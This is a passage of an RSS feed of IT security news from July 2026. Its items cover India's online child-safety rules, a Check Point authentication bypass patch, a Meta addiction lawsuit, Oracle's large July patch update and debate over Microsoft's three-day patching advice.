<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[India Tightens Social Media Rules to Protect Children Online]]></title>
<description><![CDATA[India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted ...]]></description>
<link>https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</guid>
<pubDate>Thu, 23 Jul 2026 10:56:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="India online safety rules" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="India Tightens Social Media Rules to Protect Children Online 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="257" data-end="713">India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to <a href="https://thecyberexpress.com/?s=artificial+intelligence" target="_blank" rel="noopener">artificial intelligence</a>. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.</p>
<p data-start="715" data-end="1123">The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also <a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287579&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">highlighted</a> the <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">Digital Personal Data Protection Act</a>, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.</p>

<h3 class="" data-section-id="1o0spuj" data-start="1125" data-end="1192"><span role="text"><strong data-start="1129" data-end="1192">India Online Safety Rules Tighten Platform Responsibilities</strong></span></h3>
<p data-start="1194" data-end="1433">Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.</p>
<p data-start="1435" data-end="1671">Recent amendments require <a href="https://thecyberexpress.com/child-safety-online-eu-weighs-social-media-age/" target="_blank" rel="noopener">social media platforms</a> and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.</p>
<p data-start="1673" data-end="2054">The government has also o<a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287646&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">utlined specific obligations</a> related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.</p>

<h3 data-section-id="1g47dy1" data-start="2056" data-end="2116"><span role="text"><strong data-start="2060" data-end="2116">Government Targets Harmful Content and OTT Platforms</strong></span></h3>
<p data-start="2118" data-end="2530">The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.</p>
<p data-start="2532" data-end="2874">The government also said it has taken note of reports alleging the dissemination of advertisements linked to <a href="https://thecyberexpress.com/ai-child-safety-in-india/" target="_blank" rel="noopener">child sexual abuse material</a> (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.</p>

<h3 data-section-id="cy5duc" data-start="2876" data-end="2933"><span role="text"><strong data-start="2880" data-end="2933">India Strengthens AI-Generated Content Safeguards</strong></span></h3>
<p data-start="2935" data-end="3279">The government has also expanded its regulatory focus to address risks associated with <a href="https://thecyberexpress.com/ai-content-generation-systems/" target="_blank" rel="noopener">AI-generated content</a> and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.</p>
<p data-start="3281" data-end="3547">The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.</p>
<p data-start="3549" data-end="3807">Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.</p>
<p data-start="3809" data-end="4065">Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.</p>

<h3 data-section-id="1iex218" data-start="4067" data-end="4130"><span role="text"><strong data-start="4071" data-end="4130">Child Privacy and Digital Addiction Remain Key Concerns</strong></span></h3>
<p data-start="4132" data-end="4474">The Digital Personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="Data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29094">Data</a> Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.</p>
<p data-start="4476" data-end="4847">The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29095">risks</a> linked to cyberbullying, compulsive gaming, social media and online gambling.</p>

<h3 data-section-id="pzt1k1" data-start="4849" data-end="4904"><span role="text"><strong data-start="4853" data-end="4904">Cyber Awareness Reaches 11.37 Lakh Participants</strong></span></h3>
<p data-start="4906" data-end="5315">Alongside regulatory measures, the government is expanding <a href="https://thecyberexpress.com/cybersecurity-skill-gap-awareness-education/" target="_blank" rel="noopener">cyber awareness </a>initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.</p>
<p data-start="5317" data-end="5663">The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29093">cybersecurity</a> training initiatives, while NCERT has incorporated cyber safety into its curriculum.</p>
<p data-start="5665" data-end="5951" data-is-last-node="" data-is-only-node="">The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access]]></title>
<description><![CDATA[Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild. The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3),…
...]]></description>
<link>https://tsecurity.de/de/3688414/it-security-nachrichten/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688414/it-security-nachrichten/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/</guid>
<pubDate>Thu, 23 Jul 2026 10:43:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild. The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3),…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/">Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US teen drops Meta lawsuit on social media addiction days before trial]]></title>
<description><![CDATA[Withdrawn case marks a victory for the social media giant after earlier landmark loss at trial over addictive claimsA Florida teen whose lawsuit claimed Meta’s platforms were to blame ⁠for his depression ⁠and anxiety ​dropped his case against the company just days before the trial in Los Angeles ...]]></description>
<link>https://tsecurity.de/de/3688397/it-nachrichten/us-teen-drops-meta-lawsuit-on-social-media-addiction-days-before-trial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688397/it-nachrichten/us-teen-drops-meta-lawsuit-on-social-media-addiction-days-before-trial/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Withdrawn case marks a victory for the social media giant after earlier landmark loss at trial over addictive claims</p><p>A <a href="https://www.theguardian.com/us-news/florida">Florida</a> teen whose lawsuit claimed <a href="https://www.theguardian.com/technology/meta">Meta</a>’s platforms were to blame ⁠for his depression ⁠and anxiety ​dropped his case against the company just days before the trial in <a href="https://www.theguardian.com/us-news/los-angeles">Los Angeles</a> was ⁠set to start, his attorneys said on Wednesday. It was the latest in a massive series of high-stakes lawsuits against social media companies for allegedly designing addictive products that lead to the harm of children.</p><p>The lawsuit, brought by a 15-year-old boy known as ⁠RKC, originally named four defendants, Google’s YouTube, Meta’s Instagram, Snap Inc’s ​Snapchat and ByteDance’s <a href="https://www.theguardian.com/us-news/2026/jun/15/florida-sues-tiktok-teen-social-media-access-law">TikTok</a><strong>. </strong>YouTube and TikTok ‌settled in June<strong> </strong>and<strong> </strong>Snap reached a tentative settlement in the case, Bloomberg ‌<a href="https://www.bloomberg.com/news/articles/2026-07-20/snap-nears-settlement-of-addiction-case-ahead-of-jury-trial">reported</a> on Monday. The terms of those settlements were confidential.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/florida-teen-drops-meta-lawsuit">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access]]></title>
<description><![CDATA[Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild.

The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3), ...]]></description>
<link>https://tsecurity.de/de/3688345/it-security-nachrichten/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688345/it-security-nachrichten/check-point-patches-exploited-smartconsole-flaw-allowing-full-admin-access/</guid>
<pubDate>Thu, 23 Jul 2026 10:06:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild.

The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3), is an authentication bypass affecting the Check Point SmartConsole login process that allows an]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products]]></title>
<description><![CDATA[Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely playe...]]></description>
<link>https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</guid>
<pubDate>Thu, 23 Jul 2026 09:11:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1250" height="768" src="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="July 2026 Critical Patch Update" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w" sizes="(max-width: 1250px) 100vw, 1250px" title="Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products 1"></p><span data-contrast="auto">Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely played a significant role in identifying most of the flaws.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to Oracle, the July 2026 Critical Patch Update contains 1,449 security patches, covering 1,434 unique Common <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="Vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29087">Vulnerabilities</a> and Exposures (CVEs) across 334 products. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">July 2026 Critical Patch Update Covers Hundreds of Oracle Products</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The latest Oracle <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29089">security</a> patch spans a wide range of enterprise products and platforms. Among the affected products are Database Server, Oracle APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer, TimesTen In-Memory Database, Application Testing Suite, Commerce, Communications, Construction and Engineering, and E-Business Suite.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The <a href="https://www.oracle.com/security-alerts/cpujul2026.html" target="_blank" rel="nofollow noopener">July 2026 Critical Patch Update</a> also includes security fixes for Enterprise Manager, Financial Services Applications, Food and Beverage Applications, Fusion Middleware, Analytics, HealthCare Applications, Hospitality Applications, Java SE, JD Edwards, MySQL, PeopleSoft, Retail Applications, Siebel CRM, Supply Chain, Systems, Utilities Applications, and Virtualization.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">By addressing vulnerabilities across such an extensive product lineup, the Oracle security patch aims to reduce the risk posed by <a href="https://thecyberexpress.com/critical-security-flaw-javascript-library-vm2/" target="_blank" rel="noopener">security weaknesses</a> that could affect organizations running Oracle technologies in production environments.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hundreds of Vulnerabilities Can Be Exploited Remotely</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A notable aspect of the July 2026 Critical Patch Update is the number of flaws that attackers could potentially <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29088">exploit</a> without requiring authentication.</span>

<span data-contrast="auto">Oracle stated that roughly 600 of the patches fix vulnerabilities that can be exploited remotely by unauthenticated attackers. In addition, hundreds of the addressed security flaws have been assigned critical severity ratings, emphasizing the importance of applying the latest Oracle security patch without delay.</span>

<span data-contrast="auto">Among Oracle's products, the highest number of vulnerabilities were addressed in:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<ul>
 	<li><span data-contrast="auto">E-Business Suite: 410 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Fusion Middleware: 355 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Communications: 168 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">PeopleSoft: 84 vulnerabilities</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
</ul>
<span data-contrast="auto">These figures highlight that some of Oracle's most widely deployed enterprise applications received a significant share of the security fixes included in the quarterly update.</span>
<h3 aria-level="2"><b><span data-contrast="none">AI-Driven Vulnerability Discovery Appears to Have Played a Major Role</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">One of the most notable aspects of the July 2026 Critical Patch Update is Oracle's growing use of <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">artificial intelligence</a> for security research.</span>

<span data-contrast="auto">Only a few dozen of the vulnerabilities included in the release were credited to external security researchers. This indicates that the overwhelming majority of the discovered flaws were identified internally, likely with the assistance of AI-driven <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29086">vulnerability</a> analysis.</span>

<span data-contrast="auto">Earlier this year, Oracle disclosed that it has access to leading artificial intelligence systems, including Anthropic's Claude Mythos and OpenAI's most capable models. According to the company, these <a href="https://thecyberexpress.com/cisa-first-chief-artificial-intelligence-officer/" target="_blank" rel="noopener">AI technologies</a> are being used to accelerate vulnerability discovery and improve the speed and accuracy of security patch development.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle also said it is applying this AI-driven vulnerability approach across its own software and cloud services, Oracle Health offerings, and the open source components that it both develops and depends on.</span>
<h3 aria-level="2"><b><span data-contrast="none">Organizations Urged to Apply the Oracle Security Patch Promptly</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The release of the July 2026 Critical Patch Update comes amid continued efforts by <a href="https://thecyberexpress.com/cve-2026-41089-windows-netlogon-vulnerability/" target="_blank" rel="noopener">threat actors</a> to exploit vulnerabilities in enterprise software before organizations can deploy security updates.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Oracle product vulnerabilities have previously been targeted in real-world attacks. The company cited examples that include the exploitation of a PeopleSoft zero-day vulnerability as well as a recently patched Oracle E-Business Suite (EBS) vulnerability.</span>

<span data-contrast="auto">Given the number of remotely exploitable and high-severity issues resolved in the Oracle security patch, organizations using affected Oracle products are advised to install the updates as soon as possible. Prompt deployment can help reduce exposure to attacks that take advantage of publicly known vulnerabilities before systems are secured.</span>

<span data-contrast="auto">With 1,449 security patches addressing 1,434 unique CVEs across 334 products, the July 2026 Critical Patch Update represents one of Oracle's most extensive quarterly security releases. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



